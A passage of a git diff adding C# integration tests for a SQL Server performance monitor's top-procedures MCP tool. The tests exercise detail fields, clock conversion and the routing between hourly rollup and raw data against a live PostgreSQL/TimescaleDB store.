+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+            await body(connection, postgres, serverId, serverName, DarlingMcpTestData.Naive(DateTime.UtcNow), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopProceduresDetailLiveTests.cs b/Darling/Darling.Tests/TopProceduresDetailLiveTests.cs
new file mode 100644
index 0000000000..1fbde8de80
--- /dev/null
+++ b/Darling/Darling.Tests/TopProceduresDetailLiveTests.cs
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// The widened get_top_procedures_by_cpu against live PostgreSQL: detail='full' adds the desktop Top Procedures grid's
+/// remaining fields from procedure_stats, converts the two timestamps from the monitored server's clock, omits the
+/// ones the store holds no value for, and the default call stays as lean as before.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class TopProceduresDetailLiveTests
+{
+    private const string ServerName = "darling-top-procedures-detail-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    [Fact]
+    public async Task FullDetail_CarriesTheDesktopFields_ConvertsTheClock_AndOmitsNulls()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live top-procedures detail test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            /* A non-zero offset on purpose: at 0 the conversion asserted below would pass whether or not it ran. */
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, utc_offset_minutes) " +
+                $"VALUES ({CollectionIdGenerator.Next()}, now() AT TIME ZONE 'UTC', {ServerId}, '{ServerName}', -240)");
+            var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+            var lastExec = new DateTime(2026, 3, 4, 5, 6, 7, DateTimeKind.Unspecified);
+            var cached = new DateTime(2026, 3, 1, 2, 3, 4, DateTimeKind.Unspecified);
+
+            await PlantAsync(connection, ct, now.AddHours(-3), "usp_Full", 500, full: true, lastExec, cached, 2, 40);
+            await PlantAsync(connection, ct, now.AddHours(-2), "usp_Full", 400, full: true, lastExec, cached, 1, 80);
+            await PlantAsync(connection, ct, now.AddHours(-1), "usp_Lean", 10, full: false, null, null, 1, 1);
+
+            var rows = await DarlingDataReader.GetTopProceduresByCpuAsync(postgres, ServerId, now.AddDays(-7), now.AddMinutes(5), top: 20, databaseName: null, cancellationToken: ct);
+            var detail = rows.First(r => r.ObjectName == "usp_Full").Detail;
+            Assert.NotNull(detail);
+            /* Stored on the monitored server's clock (UTC-4); the read hands back naive UTC. */
+            Assert.Equal(lastExec.AddHours(4), detail!.LastExecutionTime);
+            Assert.Equal(cached.AddHours(4), detail.CachedTime);
+            Assert.Equal(1L, detail.MinLogicalReads);
+            Assert.Equal(80L, detail.MaxLogicalReads);
+            Assert.Equal(5_000_000_000L, detail.MaxPhysicalReads);
+            Assert.Equal(1L, detail.MinSpills);
+            Assert.Null(rows.First(r => r.ObjectName == "usp_Lean").Detail!.MaxLogicalReads);
+
+            var summary = await DarlingMcpDataTools.GetTopProceduresByCpu(postgres, ServerName, hours_back: 168, top: 20);
+            using (var s = JsonDocument.Parse(summary))
+            {
+                var q = s.RootElement.GetProperty("procedures").EnumerateArray().First(x => x.GetProperty("full_name").GetString() == "dbo.usp_Full");
+                Assert.False(q.TryGetProperty("max_logical_reads", out _));
+                Assert.False(q.TryGetProperty("last_execution_time", out _));
+            }
+
+            var full = await DarlingMcpDataTools.GetTopProceduresByCpu(postgres, ServerName, hours_back: 168, top: 20, detail: "full");
+            using var f = JsonDocument.Parse(full);
+            var procs = f.RootElement.GetProperty("procedures").EnumerateArray().ToList();
+            var fp = procs.First(x => x.GetProperty("full_name").GetString() == "dbo.usp_Full");
+            Assert.Equal("2026-03-04T09:06:07.0000000", fp.GetProperty("last_execution_time").GetString());
+            Assert.Equal("2026-03-01T06:03:04.0000000", fp.GetProperty("cached_time").GetString());
+            Assert.Equal(80, fp.GetProperty("max_logical_reads").GetInt64());
+            Assert.Equal(5_000_000_000L, fp.GetProperty("max_physical_reads").GetInt64());
+            Assert.Equal(1, fp.GetProperty("min_spills").GetInt64());
+            Assert.True(fp.GetProperty("avg_spills").GetDouble() > 0);
+            var lean = procs.First(x => x.GetProperty("full_name").GetString() == "dbo.usp_Lean");
+            Assert.False(lean.TryGetProperty("max_logical_reads", out _));
+            Assert.False(lean.TryGetProperty("last_execution_time", out _));
+            Assert.Equal(JsonValueKind.Null, f.RootElement.GetProperty("precision_note").ValueKind);
+
+            var refused = await DarlingMcpDataTools.GetTopProceduresByCpu(postgres, ServerName, hours_back: 168, top: 20, detail: "everything");
+            Assert.Contains("detail must be", refused, StringComparison.Ordinal);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task PlantAsync(
+        NpgsqlConnection connection, CancellationToken ct, DateTime at, string objectName, long weight, bool full,
+        DateTime? lastExec, DateTime? cached, long minSpills, long maxReads)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name,
+                                           sql_handle, delta_worker_time, delta_elapsed_time, delta_execution_count, delta_spills,
+                                           sample_interval_seconds, last_execution_time, cached_time,
+                                           min_logical_reads, max_logical_reads, max_physical_reads, min_spills, max_spills)
+              VALUES ($1,$2,$3,$4,$5,'dbo',$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, "StackOverflow", objectName, "0xSQLH" + objectName,
+            weight * 1000L, weight * 2000L, weight, 4L, 60,
+            (object?)lastExec ?? DBNull.Value, (object?)cached ?? DBNull.Value,
+            full ? minSpills : DBNull.Value, full ? maxReads : DBNull.Value, full ? 5_000_000_000L : DBNull.Value,
+            full ? minSpills : DBNull.Value, full ? minSpills + 5 : DBNull.Value);
+    }
+
+    private static async Task CleanupAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            $"DELETE FROM procedure_stats WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId}");
+}
diff --git a/Darling/Darling.Tests/TopProceduresHourlyRoutingLiveTests.cs b/Darling/Darling.Tests/TopProceduresHourlyRoutingLiveTests.cs
index 21c3d0903c..af8429c5a3 100644
--- a/Darling/Darling.Tests/TopProceduresHourlyRoutingLiveTests.cs
+++ b/Darling/Darling.Tests/TopProceduresHourlyRoutingLiveTests.cs
@@ -228,6 +228,18 @@ public async Task GetTopProceduresByCpu_HourlyRouted_CarriesTierUsedAndPrecision
                 Assert.All(procedures, p => Assert.Equal(System.Text.Json.JsonValueKind.Null, p.GetProperty(column).ValueKind));
             }
 
+            /* detail=full on the rollup: no detail field exists there, and the note says so. */
+            using var fullDoc = System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetTopProceduresByCpu(
+                hourlyDataSource, ServerName, hours_back: hoursBack, top: 10, as_of: asOf, detail: "full"));
+            Assert.Equal("hourly", fullDoc.RootElement.GetProperty("tier_used").GetString());
+            Assert.Contains("detail=full was asked", fullDoc.RootElement.GetProperty("precision_note").GetString()!, StringComparison.Ordinal);
+            Assert.All(fullDoc.RootElement.GetProperty("procedures").EnumerateArray(), p =>
+            {
+                Assert.False(p.TryGetProperty("last_execution_time", out _));
+                Assert.False(p.TryGetProperty("max_logical_reads", out _));
+            });
+            Assert.DoesNotContain("detail=full was asked", hourlyNote.GetString()!, StringComparison.Ordinal);
+
             bodySucceeded = true;
         }
         finally
diff --git a/Darling/Darling.Tests/TopProceduresHourlyRoutingTests.cs b/Darling/Darling.Tests/TopProceduresHourlyRoutingTests.cs
index aa0c85e2c6..32d955488c 100644
--- a/Darling/Darling.Tests/TopProceduresHourlyRoutingTests.cs
+++ b/Darling/Darling.Tests/TopProceduresHourlyRoutingTests.cs
@@ -36,7 +36,9 @@ public void TopProceduresHourlySql_GroupsByDatabaseSchemaObject_RanksByWorkerTim
 
         Assert.Contains("GROUP BY database_name, schema_name, object_name", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("object_type", sql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY SUM(worker_time_sum) DESC", sql, StringComparison.Ordinal);
+        /* The ranking is the const's anchor; the CPU read is the const expanded to the worker-time sum (#5226). */
+        Assert.Contains("ORDER BY rank_metric DESC NULLS LAST", sql, StringComparison.Ordinal);
+        Assert.Contains("SUM(worker_time_sum) AS rank_metric", TopRankings.Apply(sql, TopRanking.Cpu, hourly: true), StringComparison.Ordinal);
         Assert.Contains(DarlingDataReader.TopProceduresHourlyFromPlaceholder, sql, StringComparison.Ordinal);
     }
 
@@ -71,6 +73,42 @@ public void TopProceduresHourlySql_NeverNamesRollupRelationDirectly()
         Assert.DoesNotContain("FROM procedure_stats_hourly", methodBody, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// #5329 lane B2 source pin: the procedures read takes the io route through <c>ChooseProceduresHourlyRoute</c> (the one route
+    /// table, <c>TopRankings.ChooseHourlyRoute</c>, with no second copy), the hourly arm names <c>procedure_stats_io_hourly</c> and
+    /// projects its three sums only on that route, the reads ranking carries the raw retention notice only when it does not read io,
+    /// and the procedures tool no longer says only raw carries reads.
+    /// </summary>
+    [Fact]
+    public void TheIoRoute_IsChosenInTheRoutedRead_NamedInTheHourlyArm_AndDisclosedByTheTool()
+    {
+        var source = File.ReadAllText(FindReaderSourcePath());
+        var routed = source.Substring(source.IndexOf("public static async Task<TopProceduresReadResult> GetTopProceduresByCpuRoutedAsync", StringComparison.Ordinal));
+        routed = routed[..routed.IndexOf("GetTopProceduresByCpuHourlyAsync(postgres, coverage", StringComparison.Ordinal)];
+        Assert.Contains("ChooseProceduresHourlyRoute(rollups, coverage, ranking, startUtc)", routed, StringComparison.Ordinal);
+        Assert.Contains("ranking != TopRanking.Reads || ioRoute", routed, StringComparison.Ordinal);
+        Assert.DoesNotContain("TopRankings.HourlyCarries(ranking)", routed, StringComparison.Ordinal);
+
+        var chooser = source.Substring(source.IndexOf("public static HourlyRoute ChooseProceduresHourlyRoute", StringComparison.Ordinal));
+        chooser = chooser[..chooser.IndexOf("return TopRankings.ChooseHourlyRoute", StringComparison.Ordinal)];
+        Assert.Contains("return TopRankings.ChooseHourlyRoute(ranking, startUtc, ioFloor, rawOldest);", source, StringComparison.Ordinal);
+        Assert.Contains("TimescaleSupport.ProcedureStatsIoHourlyView", chooser, StringComparison.Ordinal);
+        Assert.DoesNotContain("QueryStats", chooser, StringComparison.Ordinal);
+
+        var arm = source.Substring(source.IndexOf("private static async Task<(List<TopProcedureRow> Rows, DateTime? FirstBucket)> GetTopProceduresByCpuHourlyAsync", StringComparison.Ordinal));
+        arm = arm[..arm.IndexOf("/* ─────────────────────────── query store", StringComparison.Ordinal)];
+        /* #5329: the io FROM goes through StitchedRelationSql like every other hourly relation (no literal relation name). */
+        Assert.Contains("coverage.StitchedRelationSql(\n            io ? TimescaleSupport.ProcedureStatsIoHourlyView : TimescaleSupport.ProcedureStatsHourlyView,", arm.Replace("\r\n", "\n"), StringComparison.Ordinal);
+        Assert.DoesNotContain("collect.{TimescaleSupport.ProcedureStatsIoHourlyView} AS f", arm, StringComparison.Ordinal);
+        Assert.Contains("io ? TimescaleSupport.ProcedureStatsIoHourlyView : TimescaleSupport.ProcedureStatsHourlyView", arm, StringComparison.Ordinal);
+        Assert.Contains("TopRankings.HourlyIoSums", arm, StringComparison.Ordinal);
+
+        var tool = File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs"));
+        Assert.DoesNotContain("which only raw procedure_stats carries (the hourly rollup keeps CPU", tool, StringComparison.Ordinal);
+        Assert.Contains("procedure_stats_io_hourly", tool, StringComparison.Ordinal);
+        Assert.Contains("hourly && !routed.IoRoute ? (long?)null : r.TotalLogicalReads", tool, StringComparison.Ordinal);
+    }
+
     private static string FindReaderSourcePath()
         => Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingDataReader.cs");
 
diff --git a/Darling/Darling.Tests/TopProceduresIoRouteLiveTests.cs b/Darling/Darling.Tests/TopProceduresIoRouteLiveTests.cs
new file mode 100644
index 0000000000..2892f7bb62
--- /dev/null
+++ b/Darling/Darling.Tests/TopProceduresIoRouteLiveTests.cs
@@ -0,0 +1,289 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/* #1776 own-store: each test mints a scratch database, because it materializes continuous aggregates (and one drops
+   one), which no other class sharing the store may see. */
+/// <summary>
+/// #5329 lane B2, live: the Top Procedures reader on an Hourly-tier window with the io hourly rollup absent, empty, partial
+/// and covering (the twin of <c>TopQueriesIoRouteLiveTests</c>). The oracle seed is lane A's <see cref="IoRollupOracleSeed"/>
+/// (a NULL-reads group, a reads tie, two databases, a zero-interval row the rollups drop and a NULL-interval row they keep).
+///
+/// <para>The oracle: over the SAME window, the reads ranking answered from <c>procedure_stats_io_hourly</c> equals the raw route
+/// (keys, order and every total, the reads, physical reads and writes included), and the CPU, duration and executions rankings
+/// answered from it equal the same ranking over the interval-honest sibling. Raw is read FIRST (its rows still exist), then
+/// the raw rows are deleted so the router must read a rollup. Each read goes through a FRESH data source, because coverage
+/// is cached per data source.</para>
+/// </summary>
+public sealed class TopProceduresIoRouteLiveTests
+{
+    private const int ServerId = -943862;
+    private const string ServerName = "a5329-top-procedures-io-route";
+    private const int Top = 10;
+
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime WindowEnd = WindowStart.AddHours(IoRollupOracleSeed.Hours + 1);
+    private static readonly DateTime SurvivorAt = WindowStart.AddHours(IoRollupOracleSeed.Hours).AddMinutes(30);
+
+    private sealed record Total(string Db, string Name, long Executions, long CpuUs, long ElapsedUs, long LogicalReads, long PhysicalReads, long LogicalWrites);
+
+    private static Total[] Totals(IEnumerable<DarlingDataReader.TopProcedureRow> rows, bool withIo = true) =>
+        rows.Select(r => new Total(
+            r.DatabaseName, r.ObjectName, r.TotalExecutions, r.TotalCpuUs, r.TotalElapsedUs,
+            withIo ? r.TotalLogicalReads : 0, withIo ? r.TotalPhysicalReads : 0, withIo ? r.TotalLogicalWrites : 0)).ToArray();
+
+    [Fact]
+    public Task Covering_EveryRankingReadsIo_ReadsEqualsTheRawRoute_AndTheOtherRankingsEqualTheIntervalSibling() =>
+        WithStoreAsync(async (scratch, connection, ct) =>
+        {
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            await TopRankingLiveTests.PlantProcedureAsync(connection, ct, "collect.procedure_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await RefreshAsync(connection, TimescaleSupport.ProcedureStatsIntervalHourlyView, WindowStart, ct);
+            await RefreshAsync(connection, TimescaleSupport.ProcedureStatsIoHourlyView, WindowStart, ct);
+
+            /* The raw route, read FIRST while raw still holds the rows: the raw reads statement itself over the same window. The
+               router cannot supply it: a window this old is Hourly-tier by age, and the reader's raw arm runs only on a
+               recent one. */
+            var raw = await RunRawReadsAsync(connection, ct);
+            Assert.True(raw.Length >= 5, "the seed should rank at least five groups, or the comparison below proves nothing");
+            Assert.DoesNotContain(raw, r => r.Name == "usp_D");   /* the zero-interval row's 9,999,999 reads are in neither route */
+
+            /* Now the raw rows go, so the window can only be answered by a rollup. */
+            await PurgeRawBeforeAsync(connection, WindowStart.AddHours(IoRollupOracleSeed.Hours), ct);
+
+            await using var ioSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var io = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(
+                ioSource, ServerId, WindowStart, WindowEnd, Top, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Hourly, io.Tier);
+            Assert.True(io.IoRoute);
+            Assert.False(io.RawForced);
+            Assert.Null(io.RetentionNotice);   /* the io rollup reaches the start: nothing partial to disclose */
+            Assert.Equal(raw, Totals(io.Rows));
+            Assert.Contains(io.Rows, r => r.TotalLogicalReads > 0 && r.TotalPhysicalReads > 0 && r.TotalLogicalWrites > 0);
+            Assert.Contains(io.Rows, r => r.ObjectName == "usp_C" && r.TotalLogicalReads == 0);   /* the NULL-reads group stays 0, never dropped */
+
+            /* Every other ranking reads the io relation too, and equals the interval sibling over the same window. */
+            foreach (var ranking in new[] { TopRanking.Cpu, TopRanking.Duration, TopRanking.Executions })
+            {
+                var label = TopRankings.WireName(ranking);
+                var viaIo = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(
+                    ioSource, ServerId, WindowStart, WindowEnd, Top, databaseName: null, ranking: ranking, cancellationToken: ct);
+                Assert.True(viaIo.IoRoute, $"{label}: covering io takes every ranking");
+                Assert.Equal(RetentionTier.Hourly, viaIo.Tier);
+                var sibling = await RunHourlyAsync(connection, TimescaleSupport.ProcedureStatsIntervalHourlyView, ranking, ct);
+                Assert.Equal(sibling, Totals(viaIo.Rows, withIo: false).Select(t => (t.Db, t.Name, t.Executions, t.CpuUs, t.ElapsedUs)).ToArray());
+            }
+
+            /* The tool: the rows carry the sums, and the note names the relation instead of saying only raw has reads. */
+            var query = "?server=" + ServerName + "&hours=24&as_of=" + Uri.EscapeDataString(WindowEnd.ToString("o")) + "&order_by=reads";
+            using var doc = JsonDocument.Parse(await TopRankingLiveTests.WebReadAsync(ioSource, "get_top_procedures_by_cpu", query));
+            Assert.Equal("hourly", doc.RootElement.GetProperty("tier_used").GetString());
+            Assert.Contains("procedure_stats_io_hourly", doc.RootElement.GetProperty("precision_note").GetString(), StringComparison.Ordinal);
+            Assert.NotEqual(JsonValueKind.Null, doc.RootElement.GetProperty("procedures")[0].GetProperty("total_logical_reads").ValueKind);
+        });
+
+    [Fact]
+    public Task EmptyThenPartial_RoutesByWhichRelationReachesFurtherBack() =>
+        WithStoreAsync(async (scratch, connection, ct) =>
+        {
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            await TopRankingLiveTests.PlantProcedureAsync(connection, ct, "collect.procedure_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await RefreshAsync(connection, TimescaleSupport.ProcedureStatsIntervalHourlyView, WindowStart, ct);
+            await PurgeRawBeforeAsync(connection, WindowStart.AddHours(1), ct);   /* raw now starts at hour 1 */
+
+            /* io EMPTY: reads is raw (forced, with raw's retention notice); the other rankings keep the stitched rollup. */
+            var empty = await ReadAsync(scratch, TopRanking.Reads, ct);
+            Assert.Equal(RetentionTier.Raw, empty.Tier);
+            Assert.True(empty.RawForced);
+            Assert.False(empty.IoRoute);
+            Assert.NotNull(empty.RetentionNotice);
+            var cpuEmpty = await ReadAsync(scratch, TopRanking.Cpu, ct);
+            Assert.Equal(RetentionTier.Hourly, cpuEmpty.Tier);
+            Assert.False(cpuEmpty.IoRoute);
+            Assert.All(cpuEmpty.Rows, r => Assert.Equal(0, r.TotalLogicalReads));
+
+            /* Covering is the other test: the floor cache trusts a floor while the rollup's oldest chunk is unchanged, so a refresh
+               that only moves the floor earlier inside that chunk is not seen by the next read of the same store. */
+            /* io PARTIAL (starts at hour 2) while raw reaches back to hour 1: raw is deeper, so reads stays raw. */
+            await RefreshAsync(connection, TimescaleSupport.ProcedureStatsIoHourlyView, WindowStart.AddHours(2), ct);
+            var rawDeeper = await ReadAsync(scratch, TopRanking.Reads, ct);
+            Assert.Equal(RetentionTier.Raw, rawDeeper.Tier);
+            Assert.False(rawDeeper.IoRoute);
+            Assert.NotNull(rawDeeper.RetentionNotice);
+            Assert.False((await ReadAsync(scratch, TopRanking.Cpu, ct)).IoRoute);
+
+            /* raw is purged to hour 4: now the partial io reaches further back than raw, and reads takes it, disclosed as
+               a hourly window that starts at io's first bucket rather than with raw's retention notice. */
+            await PurgeRawBeforeAsync(connection, WindowStart.AddHours(4), ct);
+            var partial = await ReadAsync(scratch, TopRanking.Reads, ct);
+            Assert.Equal(RetentionTier.Hourly, partial.Tier);
+            Assert.True(partial.IoRoute);
+            Assert.Null(partial.RetentionNotice);
+            Assert.Equal(WindowStart.AddHours(2), partial.HourlyFirstBucket);
+            Assert.DoesNotContain(partial.Rows, r => r.ObjectName == "usp_A" && r.TotalLogicalReads == 0);
+            Assert.False((await ReadAsync(scratch, TopRanking.Cpu, ct)).IoRoute);   /* partial io never takes a non-reads ranking */
+        });
+
+    [Fact]
+    public Task Absent_AStoreWithoutTheIoRollup_ReadsRawForReads_AndNeverNamesTheMissingRelation() =>
+        WithStoreAsync(async (scratch, connection, ct) =>
+        {
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            await TopRankingLiveTests.PlantProcedureAsync(connection, ct, "collect.procedure_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await RefreshAsync(connection, TimescaleSupport.ProcedureStatsIntervalHourlyView, WindowStart, ct);
+            await PurgeRawBeforeAsync(connection, WindowStart.AddHours(IoRollupOracleSeed.Hours), ct);
+            await using (var drop = new NpgsqlCommand($"DROP MATERIALIZED VIEW collect.{TimescaleSupport.ProcedureStatsIoHourlyView}", connection))
+            {
+                await drop.ExecuteNonQueryAsync(ct);
+            }
+
+            var reads = await ReadAsync(scratch, TopRanking.Reads, ct);
+            Assert.Equal(RetentionTier.Raw, reads.Tier);
+            Assert.True(reads.RawForced);
+            Assert.Equal("usp_QSURV", Assert.Single(reads.Rows).ObjectName);
+
+            var cpu = await ReadAsync(scratch, TopRanking.Cpu, ct);
+            Assert.Equal(RetentionTier.Hourly, cpu.Tier);
+            Assert.False(cpu.IoRoute);
+            Assert.NotEmpty(cpu.Rows);
+        });
+
+    // ---------------------------------------------------------------- plumbing
+
+    private static async Task<DarlingDataReader.TopProceduresReadResult> ReadAsync(ScratchPostgres scratch, TopRanking ranking, CancellationToken ct)
+    {
+        await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+        return await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(
+            source, ServerId, WindowStart, WindowEnd, Top, databaseName: null, ranking: ranking, cancellationToken: ct);
+    }
+
+    /// <summary>The hourly statement over <paramref name="view"/> directly (the sibling the io rollup must equal), as
+    /// (database, object, executions, cpu, elapsed) in page order.</summary>
+    private static async Task<(string Db, string Name, long Executions, long CpuUs, long ElapsedUs)[]> RunHourlyAsync(
+        NpgsqlConnection connection, string view, TopRanking ranking, CancellationToken ct)
+    {
+        var sql = TopRankings.Apply(DarlingDataReader.TopProceduresHourlySql, ranking, hourly: true)
+            .Replace(DarlingDataReader.TopProceduresHourlyFromPlaceholder, $"collect.{view} AS f", StringComparison.Ordinal)
+            .Replace(DarlingDataReader.TopProceduresHourlyIoSumsPlaceholder, TopRankings.HourlyNoIoSums, StringComparison.Ordinal)
+            .Replace("$CEIL$", "", StringComparison.Ordinal);
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = WindowStart });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = WindowEnd });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = Top });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = DBNull.Value });
+        var rows = new List<(string, string, long, long, long)>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            /* database, schema, object, executions, cpu, elapsed (0-5), then the three io sums (6-8). */
+            rows.Add((reader.GetString(0), reader.GetString(2), reader.GetInt64(3), reader.GetInt64(4), reader.GetInt64(5)));
+        }
+
+        return rows.ToArray();
+    }
+
+    /// <summary>The raw reads statement (<see cref="DarlingDataReader.TopProceduresSql"/> ranked by reads) over the window, as totals in page order.</summary>
+    private static async Task<Total[]> RunRawReadsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var sql = TopRankings.Apply(DarlingDataReader.TopProceduresSql, TopRanking.Reads, hourly: false);
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = WindowStart });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = WindowEnd });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = Top });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = DBNull.Value });
+        var rows = new List<Total>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            /* database, schema, object, type, sql_handle, plan_handle (0-5), executions, cpu, elapsed (6-8), logical reads (9),
+               logical writes (10), physical reads (11). */
+            rows.Add(new Total(
+                reader.GetString(0), reader.GetString(2), reader.GetInt64(6), reader.GetInt64(7), reader.GetInt64(8),
+                reader.IsDBNull(9) ? 0 : reader.GetInt64(9), reader.IsDBNull(11) ? 0 : reader.GetInt64(11), reader.IsDBNull(10) ? 0 : reader.GetInt64(10)));
+        }
+
+        return rows.ToArray();
+    }
+
+    private static async Task PurgeRawBeforeAsync(NpgsqlConnection connection, DateTime before, CancellationToken ct)
+    {
+        await using var purge = new NpgsqlCommand("DELETE FROM collect.procedure_stats WHERE server_id = $1 AND collection_time < $2", connection);
+        purge.Parameters.AddWithValue(ServerId);
+        purge.Parameters.AddWithValue(before);
+        await purge.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, string view, DateTime from, CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(WindowEnd.AddHours(1));
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Mints a scratch TimescaleDB store with the continuous aggregates and this class's server registered, and runs the body on it.</summary>
+    private static async Task WithStoreAsync(Func<ScratchPostgres, NpgsqlConnection, CancellationToken, Task> body)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5329 procedures io route tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live #5329 procedures io route tests need TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await body(scratch, connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
